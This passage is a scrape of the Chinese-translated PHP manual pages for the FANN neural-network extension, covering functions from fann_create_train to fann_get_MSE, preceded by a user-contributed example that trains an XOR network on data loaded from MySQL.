function prepare_data_from_db($training_data) {
    $training_data = explode( "\n", $training_data ); // convert training data rows to array
    $num_data = count($training_data);

    // Sift the data and split inputs and outputs
    for($i=0;$i<$num_data;$i++) {
      if($i % 2) { // $training_data[$i] is Output
       $training_data['outputs'][] = explode( " ", $training_data[$i]);
      }else{ // $training_data[$i] is Input
       $training_data['inputs'][] = explode( " ", $training_data[$i]);
      }
    }
    // remove the unsifted data
    foreach ($training_data as $key => $value) {
        if (is_numeric($key)) {
            unset($training_data[$key]);
        }
    }
    return $training_data; // returned the prepaired associative array
}

// This function hands the prepared data over to FANN
function create_train_callback($num_data, $num_input, $num_output) {
    global $training_data;
    global $current_dataset;

    $dataset = array("input" => $training_data['inputs'][$current_dataset],
                    "output" => $training_data['outputs'][$current_dataset]);
    $current_dataset++;

    return $dataset;
}

// Initialize the program variables
$record_id = 1; // the 'ID' for the training data in MySQL
$current_dataset = 0;
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons = 3;
$desired_error = 0.001;
$max_epochs = 500000;
$epochs_between_reports = 1000;

$training_data = get_training_data_from_db($record_id); // Get the Training Data from MySQL
$training_data = prepare_data_from_db($training_data); // Prepare the data
$num_data = count($training_data["input"]); // How many sets are there?

// Hand the data over to FANN
$train_data = fann_create_train_from_callback($num_data, $num_input, $num_output, "create_train_callback");

// Test for $train_data
if ($train_data) {

    // Create $ann
    $ann = fann_create_standard($num_layers, $num_input, $num_neurons, $num_output);

    // Test for $ann
    if ($ann) {
        fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
        fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

        // Train XOR ANN with training data obtainied from MySQL
        if (fann_train_on_data($ann, $train_data, $max_epochs, $epochs_between_reports, $desired_error)){
           print('XOR trained.<br>' . PHP_EOL);

           // Test $ann
           $input = array(-1, 1);
           $calc_out = fann_run($ann, $input);
           printf("xor test (%f,%f) -> %f\n", $input[0], $input[1], $calc_out[0]);

           // destore $ann
           fann_destroy($ann);
        }
    }
}
?>


创建一个空的训练数据结构。

  • ? fann_create_train_from_callback
  • fann_descale_input ?
  • PHP Manual
  • Fann 函数
  • 创建一个空的训练数据结构。

fann_create_train

(PECL fann >= 1.0.0)

fann_create_train — 创建一个空的训练数据结构。

说明

fann_create_train(int $num_data, int $num_input, int $num_output): resource

创建一个空的训练数据结构。

参数

num_data

训练数据的数量。

num_input

每个训练数据集输入的数量。

num_output

每个训练数据集输出的数量。

返回值

成功时返回训练数据 资源，发生错误返回 false。

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_read_train_from_file() - 读取存储训练数据的文件。
  • fann_train_on_data() - 在整个数据集上训练一段时间。
  • fann_destroy_train() - 销毁训练数据。
  • fann_save_train() - 将训练结构体保存至文件。

User Contributed Notes

geekgirl dot joy at gmail dot com 01-Nov-2018 07:13
The result of fann_create_train() is a "blank" or "empty" training data resource which can be saved to a file using fann_save_train().

<?php

$num_data = 4;
$num_input = 2;
$num_output = 1;

// Create an empty 'template' training resource in memory
$empty_training_resource = fann_create_train ($num_data , $num_input , $num_output);

// Save template.data
fann_save_train($empty_training_resource, 'template.data');

?>

File Saved (template.data):
4 2 1
0 0
0
0 0
0
0 0
0
0 0
0


在获取基于先前计算的参数之后，在输入向量中缩小数据

  • ? fann_create_train
  • fann_descale_output ?
  • PHP Manual
  • Fann 函数
  • 在获取基于先前计算的参数之后，在输入向量中缩小数据

fann_descale_input

(PECL fann >= 1.0.0)

fann_descale_input — 在获取基于先前计算的参数之后，在输入向量中缩小数据

说明

fann_descale_input(resource $ann, array $input_vector): bool

在获取基于先前计算的参数之后，在输入向量中缩小数据。

参数

ann

神经网络 资源。

input_vector

将要被缩小的输入向量

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_scale_input() - 在以前计算参数的基础上，在训练之前放大输入向量中的数据
  • fann_descale_output() - 在获取基于先前计算的参数之后，在输出向量中缩小数据

User Contributed Notes

There are no user contributed notes for this page.


在获取基于先前计算的参数之后，在输出向量中缩小数据

  • ? fann_descale_input
  • fann_descale_train ?
  • PHP Manual
  • Fann 函数
  • 在获取基于先前计算的参数之后，在输出向量中缩小数据

fann_descale_output

(PECL fann >= 1.0.0)

fann_descale_output — 在获取基于先前计算的参数之后，在输出向量中缩小数据

说明

fann_descale_output(resource $ann, array $output_vector): bool

在获取基于先前计算的参数之后，在输出向量中缩小数据。

参数

ann

神经网络 资源。

output_vector

将被缩小的输出向量。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_scale_output() - 在以前计算参数的基础上，在训练之前放大输出向量中的数据
  • fann_descale_input() - 在获取基于先前计算的参数之后，在输入向量中缩小数据

User Contributed Notes

There are no user contributed notes for this page.


基于先前计算的参数来缩小输入和输出数据

  • ? fann_descale_output
  • fann_destroy_train ?
  • PHP Manual
  • Fann 函数
  • 基于先前计算的参数来缩小输入和输出数据

fann_descale_train

(PECL fann >= 1.0.0)

fann_descale_train — 基于先前计算的参数来缩小输入和输出数据

说明

fann_descale_train(resource $ann, resource $train_data): bool

基于先前计算的参数来缩小输入和输出数据。

参数

ann

神经网络 资源。

train_data

神经网络训练数据 资源。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_scale_train() - 在以前计算参数的基础上，缩放输入和输出数据
  • fann_set_scaling_params() - 根据训练数据计算输入和输出缩放参数以供将来使用

User Contributed Notes

There are no user contributed notes for this page.


销毁训练数据。

  • ? fann_descale_train
  • fann_destroy ?
  • PHP Manual
  • Fann 函数
  • 销毁训练数据。

fann_destroy_train

(PECL fann >= 1.0.0)

fann_destroy_train — 销毁训练数据。

说明

fann_destroy_train(resource $train_data): bool

销毁训练数据。

参数

train_data

神经网络训练数据 资源。

返回值

成功时返回 true，其它情况下返回 false。

User Contributed Notes

There are no user contributed notes for this page.


销毁整个网络并且适当地释放所有的关联内存。

  • ? fann_destroy_train
  • fann_duplicate_train_data ?
  • PHP Manual
  • Fann 函数
  • 销毁整个网络并且适当地释放所有的关联内存。

fann_destroy

(PECL fann >= 1.0.0)

fann_destroy — 销毁整个网络并且适当地释放所有的关联内存。

说明

fann_destroy(resource $ann): bool

销毁整个网络并且适当地释放所有的关联内存。

参数

ann

神经网络 资源。

返回值

成功时返回 true，其它情况下返回 false。

User Contributed Notes

There are no user contributed notes for this page.


返回 fann 训练数据精确的副本。

  • ? fann_destroy
  • fann_get_activation_function ?
  • PHP Manual
  • Fann 函数
  • 返回 fann 训练数据精确的副本。

fann_duplicate_train_data

(PECL fann >= 1.0.0)

fann_duplicate_train_data — 返回 fann 训练数据精确的副本。

说明

fann_duplicate_train_data(resource $data): resource

返回 fann 训练数据精确的副本 resource。

参数

data

神经网络训练数据 资源。

返回值

成功时返回训练数据 资源，发生错误返回 false。

User Contributed Notes

There are no user contributed notes for this page.


返回激励函数

  • ? fann_duplicate_train_data
  • fann_get_activation_steepness ?
  • PHP Manual
  • Fann 函数
  • 返回激励函数

fann_get_activation_function

(PECL fann >= 1.0.0)

fann_get_activation_function — 返回激励函数

说明

fann_get_activation_function(resource $ann, int $layer, int $neuron): int

获取在层数为 layer 的网络中神经元数为 neuron的激励函数，输入层被计为 0.

在输入层是不能获取神经元激励函数的。

返回值将会是激励函数 常量之一。

参数

ann

神经网络 资源。

layer

层数。

neuron

神经元数

返回值

学习函数 常量或者如果神经未在神经网络中定义返回 -1， 错误则返回 false .

参见

  • fann_set_activation_function_layer() - 为已应用的层中所有的神经元设置激活函数
  • fann_set_activation_function_hidden() - 为所有隐藏层设置激活函数
  • fann_set_activation_function_output() - 为输出层设置激活函数
  • fann_set_activation_steepness() - 为提供的神经元和层设置激活陡度
  • fann_set_activation_function() - 为已应用的神经元和层设置激活函数

User Contributed Notes

There are no user contributed notes for this page.


为提供的神经和网络层数返回激活陡度

  • ? fann_get_activation_function
  • fann_get_bias_array ?
  • PHP Manual
  • Fann 函数
  • 为提供的神经和网络层数返回激活陡度

fann_get_activation_steepness

(PECL fann >= 1.0.0)

fann_get_activation_steepness — 为提供的神经和网络层数返回激活陡度

说明

fann_get_activation_steepness(resource $ann, int $layer, int $neuron): float

获取神经元数为 neuron 层数为 layer神经网络的激活陡度，将输入层数计为1层。

在输入层中是不可能获取激活陡度。

激活函数的陡度表明了激活函数从最小到最大有多块。一个高值表明将会提供一个更高效的训练。

在训练神经网络时，输出值应该处于极端(通常是 0 和 1，取决于激励函数)，一般陡峭的激活函数将会被使用(比如为1.0时)。

默认的激活陡度是0.5.

参数

ann

神经网络 资源。

layer

层数

neuron

神经元数

返回值

激活陡度，当神经元在神经网络中没定义时为-1，错误时返回 false .

参见

  • fann_set_activation_function() - 为已应用的神经元和层设置激活函数
  • fann_set_activation_steepness_layer() - 为提供的层中所有的神经元设置激活陡度
  • fann_set_activation_steepness_hidden() - 为所有隐藏层中所有的神经元设置激活函数陡度
  • fann_set_activation_steepness_output() - 在输出层中设置激活陡度
  • fann_set_activation_steepness() - 为提供的神经元和层设置激活陡度

User Contributed Notes

There are no user contributed notes for this page.


获取网络中每一层的偏差数

  • ? fann_get_activation_steepness
  • fann_get_bit_fail_limit ?
  • PHP Manual
  • Fann 函数
  • 获取网络中每一层的偏差数

fann_get_bias_array

(PECL fann >= 1.0.0)

fann_get_bias_array — 获取网络中每一层的偏差数

说明

fann_get_bias_array(resource $ann): array

获取网络中每一层的偏差数。

参数

ann

神经网络 资源。

返回值

包含每一层偏差数的数组。

User Contributed Notes

There are no user contributed notes for this page.


返回训练期间使用的误差限制

  • ? fann_get_bias_array
  • fann_get_bit_fail ?
  • PHP Manual
  • Fann 函数
  • 返回训练期间使用的误差限制

fann_get_bit_fail_limit

(PECL fann >= 1.0.0)

fann_get_bit_fail_limit — 返回训练期间使用的误差限制

说明

fann_get_bit_fail_limit(resource $ann): float

返回训练期间使用的误差限制。

训练期间使用的误差限制，在 停止函数 中设置的 FANN_STOPFUNC_BIT.

限度是训练过程中期望输出和实际输出之间的最大可接受差值。每个输出偏离超过这个限度将会被算作误差。不同的是在使用对称激活函数的时候这个值要除以2，因此对称或者不对称可以使用同样的限度。

默认的误差限度是 0.35.

参数

ann

神经网络 资源。

返回值

成功，返回误差限度，错误则返回 false .

参见

  • fann_set_bit_fail_limit() - 设置训练期间使用的误差

User Contributed Notes

There are no user contributed notes for this page.


失败位的数量

  • ? fann_get_bit_fail_limit
  • fann_get_cascade_activation_functions_count ?
  • PHP Manual
  • Fann 函数
  • 失败位的数量

fann_get_bit_fail

(PECL fann >= 1.0.0)

fann_get_bit_fail — 失败位的数量

说明

fann_get_bit_fail(resource $ann): int

失败位的数量：意味着输出神经元的数量多于失败位的限度 (参见 fann_get_bit_fail_limit(), fann_set_bit_fail_limit()). 位数将会在所有的训练数据中被计数，因此这个数字将会比训练数据的数量高一点。

该值可以被 fann_reset_MSE() 函数重置，并且可以被能够更新MSE值的函数更新。(比如 fann_test_data(), fann_train_epoch())

参数

ann

神经网络 资源。

返回值

成功 ，返回失败位的数量，错误则返回 false .

参见

  • fann_get_MSE() - 从网络中读取均方误差。
  • fann_reset_MSE() - 重置网络中的均方误差。
  • fann_test_data() - 使用训练数据来测试并且计算出 MSE
  • fann_train_epoch() - 使用一组训练数据训练一个周期。
  • fann_get_bit_fail_limit() - 返回训练期间使用的误差限制
  • fann_set_bit_fail_limit() - 设置训练期间使用的误差

User Contributed Notes

There are no user contributed notes for this page.


返回级联激活函数的数量

  • ? fann_get_bit_fail
  • fann_get_cascade_activation_functions ?
  • PHP Manual
  • Fann 函数
  • 返回级联激活函数的数量

fann_get_cascade_activation_functions_count

(PECL fann >= 1.0.0)

fann_get_cascade_activation_functions_count — 返回级联激活函数的数量

说明

fann_get_cascade_activation_functions_count(resource $ann): int

在 fann_get_cascade_activation_functions() 函数数组的激活函数的数量。

默认激活函数的数量为6.

参数

ann

神经网络 资源。

返回值

成功，返回级联激活函数的数量，错误则返回false .

参见

  • fann_get_cascade_activation_functions() - 返回级联激活函数
  • fann_set_cascade_activation_functions() - 设置级联候选激活函数的数组

User Contributed Notes

There are no user contributed notes for this page.


返回级联激活函数

  • ? fann_get_cascade_activation_functions_count
  • fann_get_cascade_activation_steepnesses_count ?
  • PHP Manual
  • Fann 函数
  • 返回级联激活函数

fann_get_cascade_activation_functions

(PECL fann >= 1.0.0)

fann_get_cascade_activation_functions — 返回级联激活函数

说明

fann_get_cascade_activation_functions(resource $ann): array

层级激活函数数组是一个和被候选使用的不同的数组。

参见 fann_get_cascade_num_candidates() 的描述，这个数组将会生成候选神经元。

默认的激活函数是 FANN_SIGMOID, FANN_SIGMOID_SYMMETRIC, FANN_GAUSSIAN, FANN_GAUSSIAN_SYMMETRIC, FANN_ELLIOT, FANN_ELLIOT_SYMMETRIC.

参数

ann

神经网络 资源。

返回值

成功，返回层级激活函数数组，错误则返回 false .

参见

  • fann_get_cascade_activation_functions_count() - 返回级联激活函数的数量
  • fann_set_cascade_activation_functions() - 设置级联候选激活函数的数组

User Contributed Notes

There are no user contributed notes for this page.


激活陡度的数量

  • ? fann_get_cascade_activation_functions
  • fann_get_cascade_activation_steepnesses ?
  • PHP Manual
  • Fann 函数
  • 激活陡度的数量

fann_get_cascade_activation_steepnesses_count

(PECL fann >= 1.0.0)

fann_get_cascade_activation_steepnesses_count — 激活陡度的数量

说明

fann_get_cascade_activation_steepnesses_count(resource $ann): int

fann_get_cascade_activation_functions() 数组中激活陡度的数量。

默认的激活陡度的数量是 4.

参数

ann

神经网络 资源。

返回值

成功返回激活陡度数量，错误，则返回false .

参见

  • fann_get_cascade_activation_steepnesses() - 返回级联激活陡度
  • fann_set_cascade_activation_functions() - 设置级联候选激活函数的数组

User Contributed Notes

There are no user contributed notes for this page.


返回级联激活陡度

  • ? fann_get_cascade_activation_steepnesses_count
  • fann_get_cascade_candidate_change_fraction ?
  • PHP Manual
  • Fann 函数
  • 返回级联激活陡度

fann_get_cascade_activation_steepnesses

(PECL fann >= 1.0.0)

fann_get_cascade_activation_steepnesses — 返回级联激活陡度

说明

fann_get_cascade_activation_steepnesses(resource $ann): array

层级激活函数数组是一个和被候选使用的不同的数组。

参见 fann_get_cascade_num_candidates() 的描述，这个数组将会生成候选神经元。

默认的激活陡度是{0.25, 0.50, 0.75, 1.00}.

参数

ann

神经网络 资源。

返回值

成功，返回级联激活陡度，错误则返回 false.

参见

  • fann_get_cascade_activation_steepnesses_count() - 激活陡度的数量
  • fann_set_cascade_activation_steepnesses() - 设置级联候选激活陡度的数组。

User Contributed Notes

There are no user contributed notes for this page.


返回级联候选变化分数

  • ? fann_get_cascade_activation_steepnesses
  • fann_get_cascade_candidate_limit ?
  • PHP Manual
  • Fann 函数
  • 返回级联候选变化分数

fann_get_cascade_candidate_change_fraction

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_change_fraction — 返回级联候选变化分数

说明

fann_get_cascade_candidate_change_fraction(resource $ann): float

返回级联候选变化分数是一个介于0到1之间的数字。该数字决定了在训练候选神经元使用 fann_get_cascade_candidate_stagnation_epochs() 函数时 fann_get_MSE() 将会改变多大的分数,是为了不让这个训练停止。如果训练停止，候选神经元的训练将会被终止并且会选出最好的候选。

这意味在fann_get_cascade_candidate_stagnation_epochs()期间如果 MSE 被fann_get_cascade_candidate_change_fraction()的分数更改，候选神经元的训练会因为训练的停滞而被停止。

如果级联候选变化分数很低，这个候选神经元将训练越多，如果这个分数很高则训练的越少。

默认的级联候选变化分数是 0.01, 等于 MSE 中1%的变化值。

参数

ann

神经网络 资源。

返回值

成功，则返回级联候选变化分数，错误则返回 false .

参见

  • fann_set_cascade_candidate_change_fraction() - 设置级联候选更改分数
  • fann_get_MSE() - 从网络中读取均方误差。
  • fann_get_cascade_candidate_stagnation_epochs() - 返回层叠候选停滞周期的数量

User Contributed Notes

There are no user contributed notes for this page.


返回候选限度

  • ? fann_get_cascade_candidate_change_fraction
  • fann_get_cascade_candidate_stagnation_epochs ?
  • PHP Manual
  • Fann 函数
  • 返回候选限度

fann_get_cascade_candidate_limit

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_limit — 返回候选限度

说明

fann_get_cascade_candidate_limit(resource $ann): float

候选限度表明将会有多少候选神经元被训练。该限度是 MSE 和候选分数之间的比例限度。

将此值设置为低值以避免过于拟合，如果过度拟合并不是问题，则将其设置为更高的值。

默认的候选限度是 1000.0.

参数

ann

神经网络 资源。

返回值

成功，返回候选限度，错误则返回 false .

参见

  • fann_set_cascade_candidate_limit() - 设置候选限度

User Contributed Notes

There are no user contributed notes for this page.


返回层叠候选停滞周期的数量

  • ? fann_get_cascade_candidate_limit
  • fann_get_cascade_max_cand_epochs ?
  • PHP Manual
  • Fann 函数
  • 返回层叠候选停滞周期的数量

fann_get_cascade_candidate_stagnation_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_stagnation_epochs — 返回层叠候选停滞周期的数量

说明

fann_get_cascade_candidate_stagnation_epochs(resource $ann): int

层叠候选停滞周期的数量决定了在 fann_get_cascade_candidate_change_fraction() 不改变MSE分数的情况下继续进行的epochs训练的数量。

更多信息参见 fann_get_cascade_candidate_change_fraction().

层叠候选停滞周期的数量是 12.

参数

ann

神经网络 资源。

返回值

成功，返回层叠候选停滞周期的数量，错误则返回 false.

参见

  • fann_set_cascade_candidate_stagnation_epochs() - 设置级联候选停止周期数
  • fann_get_cascade_candidate_change_fraction() - 返回级联候选变化分数

User Contributed Notes

There are no user contributed notes for this page.


返回候选周期的最大值

  • ? fann_get_cascade_candidate_stagnation_epochs
  • fann_get_cascade_max_out_epochs ?
  • PHP Manual
  • Fann 函数
  • 返回候选周期的最大值

fann_get_cascade_max_cand_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_max_cand_epochs — 返回候选周期的最大值

说明

fann_get_cascade_max_cand_epochs(resource $ann): int

候选周期的最大值决定了在添加新的候选神经元之前，候选输入连接周期的最大值。

默认的最大候选周期是 150.

参数

ann

神经网络 资源。

返回值

成功，返回最大的候选周期，错误则返回false .

参见

  • fann_set_cascade_max_cand_epochs() - 设置最大候选周期数

User Contributed Notes

There are no user contributed notes for this page.


返回输出周期的最大值

  • ? fann_get_cascade_max_cand_epochs
  • fann_get_cascade_min_cand_epochs ?
  • PHP Manual
  • Fann 函数
  • 返回输出周期的最大值

fann_get_cascade_max_out_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_max_out_epochs — 返回输出周期的最大值

说明

fann_get_cascade_max_out_epochs(resource $ann): int

输出周期的最大值决定了在添加新的候选神经元之后，输出连接周期的最大值。

默认输出周期的最大值是 150.

参数

ann

神经网络 资源。

返回值

成功，则返回输出周期的最大值，错误则返回 false .

参见

  • fann_set_cascade_max_out_epochs() - 设置最大输出周期

User Contributed Notes

There are no user contributed notes for this page.


返回最小的候选周期

  • ? fann_get_cascade_max_out_epochs
  • fann_get_cascade_min_out_epochs ?
  • PHP Manual
  • Fann 函数
  • 返回最小的候选周期

fann_get_cascade_min_cand_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_min_cand_epochs — 返回最小的候选周期

说明

fann_get_cascade_min_cand_epochs(resource $ann): int

最小候选周期表示在添加新的候选神经元之前，输入连接到被训练的候选神经元最小的周期数。

默认的最小候选周期是50.

参数

ann

神经网络 资源。

返回值

成功，返回最小候选周期，错误则返回 false .

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_set_cascade_min_cand_epochs() - 设置最小候选周期

User Contributed Notes

There are no user contributed notes for this page.


返回最小输出周期

  • ? fann_get_cascade_min_cand_epochs
  • fann_get_cascade_num_candidate_groups ?
  • PHP Manual
  • Fann 函数
  • 返回最小输出周期

fann_get_cascade_min_out_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_min_out_epochs — 返回最小输出周期

说明

fann_get_cascade_min_out_epochs(resource $ann): int

最小输出周期表明在加入新的候选神经元后输出连接必须训练的最小周期。

默认的最小输出周期是50。

参数

ann

神经网络 资源。

返回值

成功，返回最小的输出周期，错误则返回 false .

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_set_cascade_min_out_epochs() - 设置最小输出周期

User Contributed Notes

There are no user contributed notes for this page.


返回候选组的数量

  • ? fann_get_cascade_min_out_epochs
  • fann_get_cascade_num_candidates ?
  • PHP Manual
  • Fann 函数
  • 返回候选组的数量

fann_get_cascade_num_candidate_groups

(PECL fann >= 1.0.0)

fann_get_cascade_num_candidate_groups — 返回候选组的数量

说明

fann_get_cascade_num_candidate_groups(resource $ann): int

候选组的数目是在训练期间使用的相同候选组的个数。

这个数字可以用来有更多的候选，而不必为候选定义新的参数。

参见 fann_get_cascade_num_candidates() 的描述。其中解释了这个参数将会生哪个成候选神经元。

默认的候选组数为2.

参数

ann

神经网络 资源。

返回值

成功，返回候选组数量，错误则返回 false .

参见

  • fann_set_cascade_num_candidate_groups() - 设置候选组数量

User Contributed Notes

There are no user contributed notes for this page.


返回训练期间使用的候选数量

  • ? fann_get_cascade_num_candidate_groups
  • fann_get_cascade_output_change_fraction ?
  • PHP Manual
  • Fann 函数
  • 返回训练期间使用的候选数量

fann_get_cascade_num_candidates

(PECL fann >= 1.0.0)

fann_get_cascade_num_candidates — 返回训练期间使用的候选数量

说明

fann_get_cascade_num_candidates(resource $ann): int

返回训练期间使用的候选数量 (
fann_get_cascade_activation_functions_count(),
fann_get_cascade_activation_steepnesses_count() 和
fann_get_cascade_num_candidate_groups())的和。

实际的候选数是由 fann_get_cascade_activation_functions() 和 fann_get_cascade_activation_steepnesses() 数组定义的。 这些数组定义的激活功能和激活的陡度用于候选神经元。如果在激活函数数组中有两个激活函数并且陡度数组中有三个陡度，则将会有2x3=6个不同的候选神经元被训练。 这6个不同的候选神经元将会被复制到几个候选组中，这些候选组不同之处在于他们的初始权重。如果组的数量设为2，则候选神经元的数量为2x3x2=12.候选组的数量是有 fann_set_cascade_num_candidate_groups() 函数定义的。

默认的候选神经元数量为 6x4x2 = 48

参数

ann

神经网络 资源。

返回值

成功，返回训练期间候选神经元的数量，错误则返回 false .

参见

  • fann_get_cascade_activation_functions() - 返回级联激活函数
  • fann_get_cascade_activation_functions_count() - 返回级联激活函数的数量
  • fann_get_cascade_activation_steepnesses() - 返回级联激活陡度
  • fann_get_cascade_activation_steepnesses_count() - 激活陡度的数量
  • fann_get_cascade_num_candidate_groups() - 返回候选组的数量

User Contributed Notes

There are no user contributed notes for this page.


返回级联输出变化分数

  • ? fann_get_cascade_num_candidates
  • fann_get_cascade_output_stagnation_epochs ?
  • PHP Manual
  • Fann 函数
  • 返回级联输出变化分数

fann_get_cascade_output_change_fraction

(PECL fann >= 1.0.0)

fann_get_cascade_output_change_fraction — 返回级联输出变化分数

说明

fann_get_cascade_output_change_fraction(resource $ann): float

级联输出变化分数是一个介于0到1之间的数字，决定了在fann_get_cascade_output_stagnation_epochs()的输出连接训练中，fann_get_MSE()的值将改变多大才能保持训练不至于停滞。如果训练停滞了， If the training stagnates, 输出连接的训练将结束，新的候选神经元将准备。

这就意味着如果在fann_get_cascade_output_stagnation_epochs()期间， MSE没有被 fann_get_cascade_output_change_fraction() 改变, 因为训练的停滞将导致输出连接将被停止。

如果级联输出改变分数很小，输出连接将会训练的更多，如果分数很大则会训练的更少。

默认的级联输出改变分数是0.01，和MSE中的1%相等。

参数

ann

神经网络 资源。

返回值

成功，返回级联输出更改分数，错误则返回 false .

参见

  • fann_set_cascade_output_change_fraction() - 设置级联输出改变分数
  • fann_get_MSE() - 从网络中读取均方误差。
  • fann_get_cascade_output_stagnation_epochs() - 返回级联输出停滞周期的数量

User Contributed Notes

There are no user contributed notes for this page.


返回级联输出停滞周期的数量

  • ? fann_get_cascade_output_change_fraction
  • fann_get_cascade_weight_multiplier ?
  • PHP Manual
  • Fann 函数
  • 返回级联输出停滞周期的数量

fann_get_cascade_output_stagnation_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_output_stagnation_epochs — 返回级联输出停滞周期的数量

说明

fann_get_cascade_output_stagnation_epochs(resource $ann): int

级联输出停滞周期的数量表示在fann_get_cascade_output_change_fraction()不改变MSE的情况下，运行训练的周期数。

更多详情参见 fann_get_cascade_output_change_fraction()。

级联输出停滞周期的默认值是12。

参数

ann

神经网络 资源。

返回值

成功，则返回级联输出停滞周期，错误则返回 false .

参见

  • fann_set_cascade_output_stagnation_epochs() - 设置级联输出停滞周期的值
  • fann_get_cascade_output_change_fraction() - 返回级联输出变化分数

User Contributed Notes

There are no user contributed notes for this page.


返回权重因子

  • ? fann_get_cascade_output_stagnation_epochs
  • fann_get_connection_array ?
  • PHP Manual
  • Fann 函数
  • 返回权重因子

fann_get_cascade_weight_multiplier

(PECL fann >= 1.0.0)

fann_get_cascade_weight_multiplier — 返回权重因子

说明

fann_get_cascade_weight_multiplier(resource $ann): float

权重因子是用于在添加神经元到神经网络之前，和候选神经元权重相乘的参数。该参数的值通常介于0到1之间，用来使训练变得不那么积极。

默认权重因子是 0.4.

参数

ann

神经网络 资源。

返回值

成功，返回权重因子，错误则返回 false .

参见

  • fann_set_cascade_weight_multiplier() - 设置权重因子

User Contributed Notes

There are no user contributed notes for this page.


获取网络中的连接。

  • ? fann_get_cascade_weight_multiplier
  • fann_get_connection_rate ?
  • PHP Manual
  • Fann 函数
  • 获取网络中的连接。

fann_get_connection_array

(PECL fann >= 1.0.0)

fann_get_connection_array — 获取网络中的连接。

说明

fann_get_connection_array(resource $ann): array

获取网络中的连接。

参数

ann

神经网络 资源。

返回值

包含网络中所有连接的数组。

User Contributed Notes

There are no user contributed notes for this page.


获取当网络创建时连接的使用率。

  • ? fann_get_connection_array
  • fann_get_errno ?
  • PHP Manual
  • Fann 函数
  • 获取当网络创建时连接的使用率。

fann_get_connection_rate

(PECL fann >= 1.0.0)

fann_get_connection_rate — 获取当网络创建时连接的使用率。

说明

fann_get_connection_rate(resource $ann): float

获取当网络创建时连接的使用率。

参数

ann

神经网络 资源。

返回值

成功，则返回当网络创建时连接的使用率, 错误则返回 false .

User Contributed Notes

There are no user contributed notes for this page.


返回最后一个错误数字。

  • ? fann_get_connection_rate
  • fann_get_errstr ?
  • PHP Manual
  • Fann 函数
  • 返回最后一个错误数字。

fann_get_errno

(PECL fann >= 1.0.0)

fann_get_errno — 返回最后一个错误数字。

说明

fann_get_errno(resource $errdat): int

返回最后一个错误数字。

参数

errdat

Either neural network resource or neural network trainining data resource.

返回值

成功，返回错误数字，错误则返回 false .

参见

  • fann_reset_errno() - 重置最后的错误代码。
  • fann_get_errstr() - 返回最后的错误字符串。

User Contributed Notes

There are no user contributed notes for this page.


返回最后的错误字符串。

  • ? fann_get_errno
  • fann_get_layer_array ?
  • PHP Manual
  • Fann 函数
  • 返回最后的错误字符串。

fann_get_errstr

(PECL fann >= 1.0.0)

fann_get_errstr — 返回最后的错误字符串。

说明

fann_get_errstr(resource $errdat): string

返回最后的错误字符串。

参数

errdat

Either neural network resource or neural network trainining data resource.

返回值

成功，返回最后的错误字符串,，失败则返回 false 。

参见

  • fann_reset_errstr() - 重置最后的错误字符串。
  • fann_get_errno() - 返回最后一个错误数字。

User Contributed Notes

There are no user contributed notes for this page.


获取网络中每层的神经元数量。

  • ? fann_get_errstr
  • fann_get_learning_momentum ?
  • PHP Manual
  • Fann 函数
  • 获取网络中每层的神经元数量。

fann_get_layer_array

(PECL fann >= 1.0.0)

fann_get_layer_array — 获取网络中每层的神经元数量。

说明

fann_get_layer_array(resource $ann): array

获取网络中每层的神经元数量。

偏差神经元不包括在内，所以层数是和 fann_create 函数组想匹配的。

参数

ann

神经网络 资源。

返回值

包含每层神经元数量的数组。

User Contributed Notes

There are no user contributed notes for this page.


返回学习动量

  • ? fann_get_layer_array
  • fann_get_learning_rate ?
  • PHP Manual
  • Fann 函数
  • 返回学习动量

fann_get_learning_momentum

(PECL fann >= 1.0.0)

fann_get_learning_momentum — 返回学习动量

说明

fann_get_learning_momentum(resource $ann): float

学习动量可用来加速 FANN_TRAIN_INCREMENTAL 训练。 一个过高的学习动量不利于训练。 动量设为0效果和没设一样。该参数的值建议在0.0到1.0之间。

默认动量是 0.

参数

ann

神经网络 资源。

返回值

成功时返回 true，其它情况下返回 false。

正确，返回学习动量，错误则返回 false .

参见

  • fann_set_learning_momentum() - 设置学习动量。
  • fann_set_training_algorithm() - 设置训练算法。

User Contributed Notes

There are no user contributed notes for this page.


返回学习速率

  • ? fann_get_learning_momentum
  • fann_get_MSE ?
  • PHP Manual
  • Fann 函数
  • 返回学习速率

fann_get_learning_rate

(PECL fann >= 1.0.0)

fann_get_learning_rate — 返回学习速率

说明

fann_get_learning_rate(resource $ann): float

学习率用来确定训练算法(FANN_TRAIN_INCREMENTAL, FANN_TRAIN_BATCH, FANN_TRAIN_QUICKPROP)中应该如何进行积极的训练。 不过，请注意这个函数不能用于 FANN_TRAIN_RPROP中。

默认的学习速率是 0.7。

参数

ann

神经网络 资源。

返回值

成功，返回学习速率，错误则返回 false .

参见

  • fann_set_learning_rate() - 设置学习速率。
  • fann_set_training_algorithm() - 设置训练算法。

User Contributed Notes

There are no user contributed notes for this page.


从网络中读取均方误差。

  • ? fann_get_learning_rate
  • fann_get_network_type ?
  • PHP Manual
  • Fann 函数
  • 从网络中读取均方误差。

fann_get_MSE

(PECL fann >= 1.0.0)

fann_get_MSE — 从网络中读取均方误差。

说明

fann_get_MSE(resource $ann): float

从网络中读取均方误差。

从网络中读取均方误差。该值是在训练或或测试中被计算的，因此如果权重在最后一次计算时已经改变，有时候会有点不太对劲。

参数

ann

神经网络 资源。

返回值

成功，则返回均方误差, 错误则返回 false .

参见

  • fann_test_data() - 使用训练数据来测试并且计算出 MSE

User Contributed Notes

There are no user contributed notes for this page.


获取所创建的神经网络类型。

  • ? fann_get_MSE
